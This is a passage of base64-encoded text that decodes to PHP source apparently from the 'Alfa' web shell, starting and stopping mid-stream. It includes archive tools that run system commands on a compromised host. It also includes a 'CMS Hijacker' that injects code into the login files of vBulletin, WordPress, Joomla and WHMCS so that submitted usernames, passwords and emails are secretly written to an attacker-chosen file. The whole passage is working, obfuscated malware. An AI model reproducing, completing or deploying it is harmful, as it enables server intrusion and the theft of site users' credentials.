ZXJ0KCJJbnZhbGlkIE1haWwgRnJvbSAhIik7fQp9ZWxzZXtfX2FsZXJ0KCJJbnZhbGlkIE1haWwgVG8gISIpO30KfQplY2hvKCc8L2Rpdj4nKTsKYWxmYWZvb3RlcigpOwp9CmZ1bmN0aW9uIGFsZmF6aXBlcigpewphbGZhaGVhZCgpOwpBbGZhTnVtKDgsOSwxMCk7CmVjaG8gJzxkaXYgY2xhc3M9aGVhZGVyPjxwPjxjZW50ZXI+PHA+PGRpdiBjbGFzcz0idHh0Zm9udF9oZWFkZXIiPnwgQ29tcHJlc3NvciB8PC9kaXY+PC9wPgo8Zm9ybSBvblN1Ym1pdD0iZyhcJ3ppcGVyXCcsbnVsbCxudWxsLG51bGwsdGhpcy5kaXJ6aXAudmFsdWUsdGhpcy56aXBmaWxlLnZhbHVlLFwnPj5cJyk7cmV0dXJuIGZhbHNlOyIgbWV0aG9kPSJwb3N0Ij4KPGRpdiBjbGFzcz0idHh0Zm9udCI+RGlyL0ZpbGU6IDwvZGl2PiA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZGlyemlwIiB2YWx1ZT0iJy4oIWVtcHR5KCRfUE9TVFsnYWxmYTMnXSk/aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ2FsZmEzJ10pOmh0bWxzcGVjaWFsY2hhcnMoJEdMT0JBTFNbJ2N3ZCddKSkuJyIgc2l6ZT0iNjAiLz4KPGRpdiBjbGFzcz0idHh0Zm9udCI+U2F2ZSBEaXI6IDwvZGl2PiA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iemlwZmlsZSIgdmFsdWU9IicuJEdMT0JBTFNbJ2N3ZCddLidhbGZhLnppcCIgc2l6ZT0iNjAiLz4KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IiAiIG5hbWU9InppcGVyIiAvPgo8L2Zvcm0+PC9jZW50ZXI+PC9wPic7CmlmKGlzc2V0KCRfUE9TVFsnYWxmYTUnXSkgJiYgKCRfUE9TVFsnYWxmYTUnXSA9PSAnPj4nKSl7CiRkaXJ6aXAgPSAkX1BPU1RbJ2FsZmEzJ107CiR6aXBmaWxlID0gJF9QT1NUWydhbGZhNCddOwppZigkR0xPQkFMU1snc3lzJ10hPSd1bml4JyYmX2FsZmFfY2FuX3J1bkNvbW1hbmQodHJ1ZSx0cnVlKSl7CmFsZmFFeCgicG93ZXJzaGVsbCBDb21wcmVzcy1BcmNoaXZlIC1QYXRoICciLmFkZHNsYXNoZXMoJGRpcnppcCkuIicgLURlc3RpbmF0aW9uUGF0aCAnIi5hZGRzbGFzaGVzKGJhc2VuYW1lKCR6aXBmaWxlKSkuIiciKTsKZWNobyBfX3ByZSgpLic8Y2VudGVyPjxwPkRvbmUgLT4gPGI+PGZvbnQgY29sb3I9ImdyZWVuIj4nLiR6aXBmaWxlLic8L2ZvbnQ+PC9iPjwvcD48L2NlbnRlcj4nOwp9ZWxzZWlmKCRHTE9CQUxTWydzeXMnXT09J3VuaXgnJiZfYWxmYV9jYW5fcnVuQ29tbWFuZCh0cnVlLHRydWUpKXsKYWxmYUV4KCJjZCAnIi5hZGRzbGFzaGVzKGRpcm5hbWUoJHppcGZpbGUpKS4iJzt6aXAgLXIgJyIuYWRkc2xhc2hlcyhiYXNlbmFtZSgkemlwZmlsZSkpLiInICciLmFkZHNsYXNoZXMoJGRpcnppcCkuIiciKTsKZWNobyBfX3ByZSgpLic8Y2VudGVyPjxwPkRvbmUgLT4gPGI+PGZvbnQgY29sb3I9ImdyZWVuIj4nLiR6aXBmaWxlLic8L2ZvbnQ+PC9iPjwvcD48L2NlbnRlcj4nOwp9ZWxzZWlmKGNsYXNzX2V4aXN0cygnWmlwQXJjaGl2ZScpKXsKaWYoX19hbGZhemlwZXIoJGRpcnppcCwgJHppcGZpbGUpKXsKZWNobyBfX3ByZSgpLic8Y2VudGVyPjxwPjxmb250IGNvbG9yPSJncmVlbiI+U3VjY2Vzcy4uLiE8YnI+Jy4kemlwZmlsZS4nPC9mb250PjwvcD48L2NlbnRlcj4nOwp9ZWxzZXtlY2hvIF9fcHJlKCkuJzxjZW50ZXI+PHA+PGZvbnQgY29sb3I9InJlZCI+RVJST1IhISEuLi48L2ZvbnQ+PC9wPjwvY2VudGVyPic7fQp9Cn0KZWNobyAnPC9kaXY+JzsKYWxmYWZvb3RlcigpOwp9CmZ1bmN0aW9uIF9fYWxmYXppcGVyKCRzb3VyY2UsJGRlc3RpbmF0aW9uKXsKCWlmKCFleHRlbnNpb25fbG9hZGVkKCd6aXAnKXx8IWZpbGVfZXhpc3RzKCRzb3VyY2UpKXsKCQlyZXR1cm4gZmFsc2U7Cgl9CgkkemlwPW5ldyBaaXBBcmNoaXZlKCk7CglpZighJHppcC0+b3BlbigkZGVzdGluYXRpb24sWklQQVJDSElWRTo6Q1JFQVRFKSl7CgkJcmV0dXJuIGZhbHNlOwoJfQoJJHNvdXJjZT1zdHJfcmVwbGFjZSgnXFwnLCcvJyxyZWFscGF0aCgkc291cmNlKSk7CglpZihpc19kaXIoJHNvdXJjZSk9PT10cnVlKXsKCQkkZmlsZXM9bmV3IFJlY3Vyc2l2ZUl0ZXJhdG9ySXRlcmF0b3IobmV3IFJlY3Vyc2l2ZURpcmVjdG9yeUl0ZXJhdG9yKCRzb3VyY2UpLFJlY3Vyc2l2ZUl0ZXJhdG9ySXRlcmF0b3I6OlNFTEZfRklSU1QpOwoJCWZvcmVhY2goJGZpbGVzIGFzICRmaWxlKXsKCQkJJGZpbGU9c3RyX3JlcGxhY2UoJ1xcJywnLycsJGZpbGUpOwoJCQlpZihpbl9hcnJheShzdWJzdHIoJGZpbGUsc3RycnBvcygkZmlsZSwnLycpKzEpLGFycmF5KCcuJywnLi4nKSkpY29udGludWU7CgkJCSRmaWxlPXJlYWxwYXRoKCRmaWxlKTsKCQkJaWYoaXNfZGlyKCRmaWxlKT09PXRydWUpewoJCQkJJHppcC0+YWRkRW1wdHlEaXIoc3RyX3JlcGxhY2UoJHNvdXJjZS4nLycsJycsJGZpbGUuJy8nKSk7CgkJCX1lbHNlIGlmKGlzX2ZpbGUoJGZpbGUpPT09dHJ1ZSl7CgkJCQkkemlwLT5hZGRGcm9tU3RyaW5nKHN0cl9yZXBsYWNlKCRzb3VyY2UuJy8nLCcnLCRmaWxlKSxmaWxlX2dldF9jb250ZW50cygkZmlsZSkpOwoJCQl9CgkJfQoJfWVsc2UgaWYoaXNfZmlsZSgkc291cmNlKT09PXRydWUpewoJCSR6aXAtPmFkZEZyb21TdHJpbmcoYmFzZW5hbWUoJHNvdXJjZSksZmlsZV9nZXRfY29udGVudHMoJHNvdXJjZSkpOwoJfQoJcmV0dXJuICR6aXAtPmNsb3NlKCk7Cn0KZnVuY3Rpb24gYWxmYWRlemlwZXIoKXsKYWxmYWhlYWQoKTsKQWxmYU51bSg4LDksMTApOwplY2hvICc8ZGl2IGNsYXNzPWhlYWRlcj48cD48Y2VudGVyPjxwPjxkaXYgY2xhc3M9InR4dGZvbnRfaGVhZGVyIj58IERlQ29tcHJlc3NvciB8PC9kaXY+PC9wPgo8Zm9ybSBvblN1Ym1pdD0iZyhcJ2RlemlwZXJcJyxudWxsLG51bGwsbnVsbCx0aGlzLmRpcnppcC52YWx1ZSx0aGlzLnppcGZpbGUudmFsdWUsXCc+PlwnKTtyZXR1cm4gZmFsc2U7IiBtZXRob2Q9InBvc3QiPgo8ZGl2IGNsYXNzPSJ0eHRmb250Ij5GaWxlOiA8L2Rpdj4gPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImRpcnppcCIgdmFsdWU9IicuKCFlbXB0eSgkX1BPU1RbJ2FsZmEzJ10pP2h0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydhbGZhMyddKTpodG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSkpLiciIHNpemU9IjYwIi8+CjxkaXYgY2xhc3M9InR4dGZvbnQiPkV4dHJhY3QgVG86IDwvZGl2PiA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iemlwZmlsZSIgdmFsdWU9IicuJEdMT0JBTFNbJ2N3ZCddLiciIHNpemU9IjYwIi8+CjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSIgIiBuYW1lPSJ6aXBlciIgLz4KPC9mb3JtPjwvY2VudGVyPjwvcD4nOwppZihpc3NldCgkX1BPU1RbJ2FsZmE1J10pICYmICgkX1BPU1RbJ2FsZmE1J10gPT0gJz4+JykpewokZGlyemlwID0gJF9QT1NUWydhbGZhMyddOwokemlwZmlsZSA9ICRfUE9TVFsnYWxmYTQnXTsKaWYoQCFpc19kaXIoJHppcGZpbGUpKXsKCUBta2RpcigkemlwZmlsZSwgMDc3NywgdHJ1ZSk7Cn0KJGZpbmZvID0gIiI7CiRmaWxlX3R5cGUgPSAiIjsKaWYoZnVuY3Rpb25fZXhpc3RzKCdmaW5mb19vcGVuJykpewokZmluZm8gPSBAZmluZm9fb3BlbihGSUxFSU5GT19NSU1FX1RZUEUpOwokZmlsZV90eXBlID0gQGZpbmZvX2ZpbGUoJGZpbmZvLCAkZGlyemlwKTsKQGZpbmZvX2Nsb3NlKCRmaW5mbyk7Cn1lbHNlewoJaWYoJEdMT0JBTFNbJ3N5cyddPT0ndW5peCcmJl9hbGZhX2Nhbl9ydW5Db21tYW5kKHRydWUsdHJ1ZSkpewoJCSRmaWxlX3R5cGUgPSBhbGZhRXgoJ2ZpbGUgLWIgLS1taW1lLXR5cGUgJyAuICRkaXJ6aXApOwoJfQp9CmlmKCRHTE9CQUxTWydzeXMnXSE9J3VuaXgnJiZfYWxmYV9jYW5fcnVuQ29tbWFuZCh0cnVlLHRydWUpKXsKYWxmYUV4KCJwb3dlcnNoZWxsIGV4cGFuZC1hcmNoaXZlIC1wYXRoICciLmFkZHNsYXNoZXMoJGRpcnppcCkuIicgLWRlc3RpbmF0aW9ucGF0aCAnIi5hZGRzbGFzaGVzKGJhc2VuYW1lKCR6aXBmaWxlKSkuIiciKTsKZWNobyBfX3ByZSgpLic8Y2VudGVyPjxwPkRvbmUgLT4gPGI+PGZvbnQgY29sb3I9ImdyZWVuIj4nLiR6aXBmaWxlLic8L2ZvbnQ+PC9iPjwvcD48L2NlbnRlcj4nOwp9ZWxzZWlmKCRHTE9CQUxTWydzeXMnXT09J3VuaXgnJiYhZW1wdHkoJGZpbGVfdHlwZSkmJl9hbGZhX2Nhbl9ydW5Db21tYW5kKHRydWUsdHJ1ZSkmJihzdHJsZW4oYWxmYUV4KCd3aGljaCB1bnppcCcpKSA+IDB8fHN0cmxlbihhbGZhRXgoJ3doaWNoIHRhcicpKSA+IDB8fHN0cmxlbihhbGZhRXgoJ3doaWNoIGd1bnppcCcpKSA+IDApKXsKc3dpdGNoICgkZmlsZV90eXBlKSB7CgljYXNlICdhcHBsaWNhdGlvbi96aXAnOgoJCWFsZmFFeCgiY2QgJyIuYWRkc2xhc2hlcygkemlwZmlsZSkuIic7dW56aXAgJyIuYWRkc2xhc2hlcygkZGlyemlwKS4iJyIpOwoJYnJlYWs7CgljYXNlICdhcHBsaWNhdGlvbi94LXRhcic6IGNhc2UgJ2FwcGxpY2F0aW9uL3gtZ3ppcCc6IGNhc2UgJ2FwcGxpY2F0aW9uL3gtZ3Rhcic6CgkJaWYoc3Ryc3RyKGJhc2VuYW1lKCRkaXJ6aXApLCAiLnRhci5neiIpfHxzdHJzdHIoYmFzZW5hbWUoJGRpcnppcCksICIudGFyIikpewoJCQlhbGZhRXgoImNkICciLmFkZHNsYXNoZXMoJHppcGZpbGUpLiInO3RhciB4emYgJyIuYWRkc2xhc2hlcygkZGlyemlwKS4iJyIpOwoJCX1lbHNlewoJCQlhbGZhRXgoImNkICciLmFkZHNsYXNoZXMoJHppcGZpbGUpLiInO2d1bnppcCAnIi5hZGRzbGFzaGVzKCRkaXJ6aXApLiInIik7CgkJfQoJYnJlYWs7Cn0KZWNobyBfX3ByZSgpLic8Y2VudGVyPjxwPkRvbmUgLT4gPGI+PGZvbnQgY29sb3I9ImdyZWVuIj4nLiR6aXBmaWxlLic8L2ZvbnQ+IDxhIHN0eWxlPSJjdXJzb3I6cG9pbnRlcjsiIG9uY2xpY2s9ImcoXCdGaWxlc01hblwnLFwnJy4kemlwZmlsZS4nXCcpOyI+WyBWaWV3IEZvbGRlciBdPC9hPjwvYj48L3A+PC9jZW50ZXI+JzsKfWVsc2VpZihjbGFzc19leGlzdHMoJ1ppcEFyY2hpdmUnKSl7CgkkaXRzb2sgPSBmYWxzZTsKCWlmKGVtdHB5KCRmaWxlX3R5cGUpKXsKCQkkZmlsZV90eXBlID0gImFwcGxpY2F0aW9uL3ppcCI7Cgl9Cglzd2l0Y2ggKCRmaWxlX3R5cGUpIHsKCQljYXNlICdhcHBsaWNhdGlvbi96aXAnOgoJCQkkemlwID0gbmV3IFppcEFyY2hpdmU7CgkJCSRyZXMgPSAkemlwLT5vcGVuKCRkaXJ6aXApOwoJCQlpZiAoJHJlcykgewoJCQkJJHppcC0+ZXh0cmFjdFRvKCR6aXBmaWxlKTsKCQkJCSR6aXAtPmNsb3NlKCk7CgkJCQkkaXRzb2sgPSB0cnVlOwoJCQl9CgkJYnJlYWs7CgkJY2FzZSAnYXBwbGljYXRpb24veC10YXInOiBjYXNlICdhcHBsaWNhdGlvbi94LWd6aXAnOiBjYXNlICdhcHBsaWNhdGlvbi94LWd0YXInOgoJCQlpZihzdHJzdHIoYmFzZW5hbWUoJGRpcnppcCksICIudGFyLmd6IikpewoJCQkJJG5ld19maWxlID0gJHppcGZpbGUgLicvJy4gYmFzZW5hbWUoJGRpcnppcCk7CgkJCQlAY29weSgkZGlyemlwLCAkbmV3X2ZpbGUpOwoJCQkJJG5ld190YXIgPSBzdHJfcmVwbGFjZSgiLnRhci5neiIsICIudGFyIiwgJG5ld19maWxlKTsKCQkJCXRyeSB7CgkJCQkJJHAgPSBuZXcgUGhhckRhdGEoJG5ld19maWxlKTsKCQkJCQkkcC0+ZGVjb21wcmVzcygpOwoJCQkJCSRwaGFyID0gbmV3IFBoYXJEYXRhKCRuZXdfdGFyKTsKCQkJCQkkcGhhci0+ZXh0cmFjdFRvKCR6aXBmaWxlKTsKCQkJCQlAdW5saW5rKCRuZXdfZmlsZSk7CgkJCQkJQHVubGluaygkbmV3X3Rhcik7CgkJCQkJJGl0c29rID0gdHJ1ZTsKCQkJCX0gY2F0Y2ggKEV4Y2VwdGlvbiAkZSkgewoJCQkJfQoJCQl9ZWxzZXsKCQkJCXRyeSB7CgkJCQkJJHBoYXIgPSBuZXcgUGhhckRhdGEoJGRpcnppcCk7CgkJCQkJJHBoYXItPmV4dHJhY3RUbygkemlwZmlsZSk7CgkJCQkJJGl0c29rID0gdHJ1ZTsKCQkJCX0gY2F0Y2ggKEV4Y2VwdGlvbiAkZSkgewoJCQkJfQoJCQl9CgkJYnJlYWs7Cgl9CmlmKCRpdHNvayl7CmVjaG8gX19wcmUoKS4nPGNlbnRlcj48cD48Zm9udCBjb2xvcj0iZ3JlZW4iPlN1Y2Nlc3MuLi4hPGJyPicuJHppcGZpbGUuJzwvZm9udD4gPGEgc3R5bGU9ImN1cnNvcjpwb2ludGVyOyIgb25jbGljaz0iZyhcJ0ZpbGVzTWFuXCcsXCcnLiR6aXBmaWxlLidcJyk7Ij5bIFZpZXcgRm9sZGVyIF08L2E+PC9wPjwvY2VudGVyPic7Cn1lbHNle2VjaG8gX19wcmUoKS4nPGNlbnRlcj48cD48Zm9udCBjb2xvcj0icmVkIj5FUlJPUiEhIS4uLjwvZm9udD48L3A+PC9jZW50ZXI+Jzt9Cn0KfQplY2hvICc8L2Rpdj4nOwphbGZhZm9vdGVyKCk7Cn0KZnVuY3Rpb24gYWxmYWNtc2hpamFja2VyKCl7CmFsZmFoZWFkKCk7CkFsZmFOdW0oNSw2LDcsOCw5LDEwKTsKZWNobyAnPGRpdiBjbGFzcz1oZWFkZXI+PGJyPgo8Y2VudGVyPjxkaXYgY2xhc3M9InR4dGZvbnRfaGVhZGVyIj58IENtcyBIaWphY2tlciB8PC9kaXY+PGJyPjxicj48Zm9ybSBvblN1Ym1pdD0iZyhcJ2Ntc2hpamFja2VyXCcsbnVsbCx0aGlzLmNtc2hpLnZhbHVlLHRoaXMuc2F2ZXRvLnZhbHVlLFwnPj5cJyx0aGlzLmNtc3BhdGgudmFsdWUpO3JldHVybiBmYWxzZTsiIG1ldGhvZD1cJ3Bvc3RcJz4KPGRpdiBjbGFzcz0idHh0Zm9udCI+Q01TOiA8c2VsZWN0IHN0eWxlPSJ3aWR0aDoxMDBweDsiIG5hbWU9ImNtc2hpIj4nOwokY21fYXJyYXkgPSBhcnJheSgidmIiPT4idkJ1bGxldGluIiwid3AiPT4id29yZHByZXNzIiwiam9tIj0+Impvb21sYSIsIndobWNzIj0+IndobWNzIiwibXliYiI9PiJteWJiIiwiaXBiIj0+ImlwYm9hcmQiLCJwaHBiYiI9PiJwaHBiYiIpOwpmb3JlYWNoKCRjbV9hcnJheSBhcyAka2V5PT4kdmFsKWVjaG8gJzxvcHRpb24gdmFsdWU9IicuJGtleS4nIj4nLiR2YWwuJzwvb3B0aW9uPic7CmVjaG8oIjwvc2VsZWN0PiIpOwplY2hvICcgUGF0aCBpbnN0YWxsZWQgY21zOiA8aW5wdXQgc2l6ZT0iNTAiIHR5cGU9InRleHQiIG5hbWU9ImNtc3BhdGgiIHBsYWNlaG9sZGVyPSJleDogL2hvbWUvdXNlci9wdWJsaWNfaHRtbC92YnVsbGV0aW4vIj4KU2F2ZVRvOiA8aW5wdXQgc2l6ZT0iNTAiIHR5cGU9InRleHQiIG5hbWU9InNhdmV0byIgdmFsdWU9IicuJEdMT0JBTFNbJ2N3ZCddLidhbGZhLnR4dCI+PC9mb250Pgo8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJidG4iIHZhbHVlPSIgIj48L2Zvcm0+PC9jZW50ZXI+PGJyPic7CiRjbXMgPSAkX1BPU1RbJ2FsZmExJ107CiRzYXZldG8gPSAkX1BPU1RbJ2FsZmEyJ107CiRjbXNwYXRoID0gJF9QT1NUWydhbGZhNCddOwppZighZW1wdHkoJGNtcykgQU5EICFlbXB0eSgkc2F2ZXRvKSBBTkQgJF9QT1NUWydhbGZhNCddIEFORCAkX1BPU1RbJ2FsZmEzJ10gPT0gJz4+Jyl7CmVjaG8gX19wcmUoKTsKYWxmYUhpamFja0NtcygkY21zLCRjbXNwYXRoLCRzYXZldG8pOwp9CmVjaG8gJzwvZGl2Pic7CmFsZmFmb290ZXIoKTsKfQpmdW5jdGlvbiBhbGZhSGlqYWNrQ21zKCRjbXMsJGNtc3BhdGgsJHNhdmV0byl7CnN3aXRjaCgkY21zKXsKY2FzZSAidmIiOgpoaWphY2t2QnVsbGV0aW4oJGNtc3BhdGgsJHNhdmV0byk7CmJyZWFrOwpjYXNlICJ3cCI6CmhpamFja3dwKCRjbXNwYXRoLCRzYXZldG8pOwpicmVhazsKY2FzZSAiam9tIjoKaGlqYWNrSm9vbWxhKCRjbXNwYXRoLCRzYXZldG8pOwpicmVhazsKY2FzZSAid2htY3MiOgpoaWphY2tXaG1jcygkY21zcGF0aCwkc2F2ZXRvKTsKYnJlYWs7CmNhc2UgIm15YmIiOgpoaWphY2tNeWJiKCRjbXNwYXRoLCRzYXZldG8pOwpicmVhazsKY2FzZSAiaXBiIjoKaGlqYWNrSVBCKCRjbXNwYXRoLCRzYXZldG8pOwpicmVhazsKY2FzZSAicGhwYmIiOgpoaWphY2tQSFBCQigkY21zcGF0aCwkc2F2ZXRvKTsKYnJlYWs7CmRlZmF1bHQ6CmVjaG8gImVycm9yISI7CmJyZWFrOwp9Cn0KZnVuY3Rpb24gaGlqYWNrdkJ1bGxldGluKCRwYXRoLCRzYXZldG8pewokY29kZT0nJGFsZmFfdXNlcm5hbWUgPSBzdHJ0b2xvd2VyKCR2YnVsbGV0aW4tPkdQQ1sidmJfbG9naW5fdXNlcm5hbWUiXSk7JGFsZmFfcGFzc3dvcmQgPSAkdmJ1bGxldGluLT5HUENbInZiX2xvZ2luX3Bhc3N3b3JkIl07JGFsZmFfZmlsZSA9ICJ7c2F2ZXRvX3BhdGh9Ijskc3FsX3F1ZXJ5ID0gJHZidWxsZXRpbi0+ZGItPnF1ZXJ5X3JlYWQoIlNFTEVDVCAqIEZST00gIiAuIFRBQkxFX1BSRUZJWCAuICJ1c2VyIFdIRVJFIGB1c2VybmFtZWA9XCciIC4gJGFsZmFfdXNlcm5hbWUgLiAiXCciKTt3aGlsZSgkcm93ID0gJHZidWxsZXRpbi0+ZGItPmZldGNoX2FycmF5KCRzcWxfcXVlcnkpKXtpZihzdHJsZW4oJGFsZmFfcGFzc3dvcmQpID4gMSBBTkQgc3RybGVuKCRhbGZhX3VzZXJuYW1lKSA+IDEpeyRmcDEgPSBAZm9wZW4oJGFsZmFfZmlsZSwgImErIik7QGZ3cml0ZSgkZnAxLCAkYWxmYV91c2VybmFtZSAuIFwnIDogXCcgLiAgJGFsZmFfcGFzc3dvcmQuIiAoIiAuICRyb3dbImVtYWlsIl0gLiAiKVxuIik7QGZjbG9zZSgkZnAxKTsgJGYgPSBAZmlsZSgkYWxmYV9maWxlKTskbmV3ID0gYXJyYXlfdW5pcXVlKCRmKTskZnAgPSBAZm9wZW4oJGFsZmFfZmlsZSwgInciKTtmb3JlYWNoKCRuZXcgYXMgJHZhbHVlcyl7QGZwdXRzKCRmcCwgJHZhbHVlcyk7fUBmY2xvc2UoJGZwKTt9fSc7CiRjbGVhcnB3ID0gJ2RlZmluZWQoXCdESVNBQkxFX1BBU1NXT1JEX0NMRUFSSU5HXCcpJzsKJGNvZGU9c3RyX3JlcGxhY2UoJ3tzYXZldG9fcGF0aH0nLCRzYXZldG8sJGNvZGUpOwokbG9naW4gPSAkcGF0aC4iL2xvZ2luLnBocCI7CiRjbGFzcyA9ICRwYXRoLiIvaW5jbHVkZXMvY2xhc3NfYm9vdHN0cmFwLnBocCI7CiRkb2xvZ2luID0gJ2RvX2xvZ2luX3JlZGlyZWN0KCk7JzsKJGV2aWxfbG9naW4gPSAiXHQiLiRjb2RlLiJcblx0Ii4kZG9sb2dpbjsKJGV2aWxfY2xhc3MgPSAidHJ1ZSI7CmlmKChAaXNfZmlsZSgkbG9naW4pIEFORCBAaXNfd3JpdGFibGUoJGxvZ2luKSkgfHwgKEBpc19maWxlKCRjbGFzcykgQU5EIEBpc193cml0YWJsZSgkY2xhc3MpKSl7CiRkYXRhX2xvZ2luID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRsb2dpbik7CiRkYXRhX2NsYXNzID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRjbGFzcyk7CmlmKHN0cnN0cigkZGF0YV9sb2dpbiwgJGRvbG9naW4pIHx8IHN0cnN0cigkZGF0YV9jbGFzcywgJGNsZWFycHcpKXsKJGxvZ2luX3JlcGxhY2UgPSBzdHJfcmVwbGFjZSgkZG9sb2dpbiwkZXZpbF9sb2dpbiwgJGRhdGFfbG9naW4pOwokY2xhc3NfcmVwbGFjZSA9IHN0cl9yZXBsYWNlKCRjbGVhcnB3LCRldmlsX2NsYXNzLCAkZGF0YV9jbGFzcyk7CkBmaWxlX3B1dF9jb250ZW50cygkbG9naW4sICRsb2dpbl9yZXBsYWNlKTsKQGZpbGVfcHV0X2NvbnRlbnRzKCRjbGFzcywgJGNsYXNzX3JlcGxhY2UpOwpoaWphY2tPdXRwdXQoMCwkc2F2ZXRvKTsKfWVsc2V7CmhpamFja091dHB1dCgxKTsKfQp9ZWxzZXsKaGlqYWNrT3V0cHV0KDEpOwp9Cn0KZnVuY3Rpb24gaGlqYWNrd3AoJHBhdGgsJHNhdmV0byl7CiRjb2RlID0gJyRhbGZhX2ZpbGU9IntzYXZldG9fcGF0aH0iOyRmcCA9IGZvcGVuKCRhbGZhX2ZpbGUsICJhKyIpO2Z3cml0ZSgkZnAsICRfUE9TVFtcJ2xvZ1wnXS4iIDogIi4kX1BPU1RbXCdwd2RcJ10uIiAoIi4oJHVzZXItPnVzZXJfZW1haWwpLiIpXG4iKTtmY2xvc2UoJGZwKTskZiA9IEBmaWxlKCRhbGZhX2ZpbGUpOyRuZXcgPSBhcnJheV91bmlxdWUoJGYpOyRmcCA9IEBmb3BlbigkYWxmYV9maWxlLCAidyIpO2ZvcmVhY2goJG5ldyBhcyAkdmFsdWVzKXtAZnB1dHMoJGZwLCAkdmFsdWVzKTt9QGZjbG9zZSgkZnApOyc7CiRyZWRpcmVjdF93cCA9ICcjaWZbIF17MCx9XChbIF17MCx9IVsgXXswLH1pc193cF9lcnJvclwoWyBdezAsfVwkdXNlclsgXXswLH1cKVsgXXswLH0mJlsgXXswLH0hWyBdezAsfVwkcmVhdXRoWyBdezAsfVwpWyBdezAsfXsjJzsKJGNvZGU9c3RyX3JlcGxhY2UoJ3tzYXZldG9fcGF0aH0nLCRzYXZldG8sJGNvZGUpOwokbG9naW49JHBhdGguIi93cC1sb2dpbi5waHAiOwppZihAaXNfZmlsZSgkbG9naW4pIEFORCBAaXNfd3JpdGFibGUoJGxvZ2luKSl7CiRkYXRhX2xvZ2luID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRsb2dpbik7CmlmKEBwcmVnX21hdGNoKCRyZWRpcmVjdF93cCwgJGRhdGFfbG9naW4sICRtYXRjaCkpewokZXZpbF9sb2dpbiA9ICJcdCIuJG1hdGNoWzBdLiJcblx0Ii4kY29kZTsKJGxvZ2luX3JlcGxhY2UgPSBAcHJlZ19yZXBsYWNlKCRyZWRpcmVjdF93cCwkZXZpbF9sb2dpbiwgJGRhdGFfbG9naW4pOwpAZmlsZV9wdXRfY29udGVudHMoJGxvZ2luLCAkbG9naW5fcmVwbGFjZSk7CmhpamFja091dHB1dCgwLCRzYXZldG8pOwp9ZWxzZXsKaGlqYWNrT3V0cHV0KDEpOwp9Cn1lbHNlewpoaWphY2tPdXRwdXQoMSk7Cn0KfQpmdW5jdGlvbiBoaWphY2tKb29tbGEoJHBhdGgsJHNhdmV0byl7CiRjb2RlID0gJzw/cGhwIGppbXBvcnQoXCdqb29tbGEudXNlci5hdXRoZW50aWNhdGlvblwnKTskQWxmYV9hdXRoID0gJiBKQXV0aGVudGljYXRpb246OmdldEluc3RhbmNlKCk7JEFsZmFfZGF0YSA9IGFycmF5KFwndXNlcm5hbWVcJz0+JF9QT1NUW1wndXNlcm5hbWVcJ10sXCdwYXNzd29yZFwnPT4kX1BPU1RbXCdwYXNzd2RcJ10pOyRBbGZhX29wdGlvbnMgPSBhcnJheSgpOyRBbGZhX3Jlc3BvbnNlID0gJEFsZmFfYXV0aC0+YXV0aGVudGljYXRlKCRBbGZhX2RhdGEsICRBbGZhX29wdGlvbnMpO2lmKCRBbGZhX3Jlc3BvbnNlLT5zdGF0dXMgPT0gMSl7JGFsZmFfZmlsZT0ie3NhdmV0b19wYXRofSI7JGZwPUBmb3BlbigkYWxmYV9maWxlLCJhKyIpO0Bmd3JpdGUoJGZwLCAkQWxmYV9yZXNwb25zZS0+dXNlcm5hbWUuIjoiLiRfUE9TVFtcJ3Bhc3N3ZFwnXS4iICggIi4kQWxmYV9yZXNwb25zZS0+ZW1haWwuIiApXG4iKTtAZmNsb3NlKCRmcCk7JGYgPSBAZmlsZSgkYWxmYV9maWxlKTskbmV3ID0gYXJyYXlfdW5pcXVlKCRmKTskZnAgPSBAZm9wZW4oJGFsZmFfZmlsZSwgInciKTtmb3JlYWNoKCRuZXcgYXMgJHZhbHVlcyl7QGZwdXRzKCRmcCwgJHZhbHVlcyk7fUBmY2xvc2UoJGZwKTt9Pz4nOwokY29kZT1zdHJfcmVwbGFjZSgne3NhdmV0b19wYXRofScsJHNhdmV0bywkY29kZSk7CiRjb21wPSRwYXRoLiIvYWRtaW5pc3RyYXRvci9jb21wb25lbnRzL2NvbV9sb2dpbi8iOwppZihAaXNfZmlsZSgkY29tcC4iL2xvZ2luLnBocCIpKXsKJGxvZ2luID0gJGNvbXAuIi9sb2dpbi5waHAiOwp9ZWxzZWlmKEBpc19maWxlKCRjb21wLiIvYWRtaW4ubG9naW4ucGhwIikpewokbG9naW4gPSAkY29tcC4iL2FkbWluLmxvZ2luLnBocCI7Cn1lbHNlewokbG9naW4gPSAnJzsKfQppZihAaXNfZmlsZSgkbG9naW4pIEFORCBAaXNfd3JpdGFibGUoJGxvZ2luKSBBTkQgJGxvZ2luICE9ICcnKXsKJGRhdGFfbG9naW4gPSBAZmlsZV9nZXRfY29udGVudHMoJGxvZ2luKTsKJGV2aWxfbG9naW4gPSAkY29kZS4iXG4iLiRkYXRhX2xvZ2luOwpAZmlsZV9wdXRfY29udGVudHMoJGxvZ2luLCAkZXZpbF9sb2dpbik7CmhpamFja091dHB1dCgwLCRzYXZldG8pOwp9ZWxzZXsKaGlqYWNrT3V0cHV0KDEpOwp9Cn0KZnVuY3Rpb24gaGlqYWNrV2htY3MoJHBhdGgsJHNhdmV0byl7CiRjb2RlID0gJzw/cGhwIGlmKGlzc2V0KCRfUE9TVFtcJ3VzZXJuYW1lXCddKSBBTkQgaXNzZXQoJF9QT1NUW1wncGFzc3dvcmRcJ10pIEFORCAhZW1wdHkoJF9QT1NUW1wndXNlcm5hbWVcJ10pIEFORCAhZW1wdHkoJF9QT1NUW1wncGFzc3dvcmRcJ10pKXtpZigkYWxmYV9jb25uZWN0PUBteXNxbGlfY29ubmVjdCgkZGJfaG9zdCwkZGJfdXNlcm5hbWUsJGRiX3Bhc3N3b3JkLCRkYl9uYW1lKSl7JGFsZmFfZmlsZSA9ICJ7c2F2ZXRvX3BhdGh9IjskYWxmYV91bmFtZSA9IEAkX1BPU1RbXCd1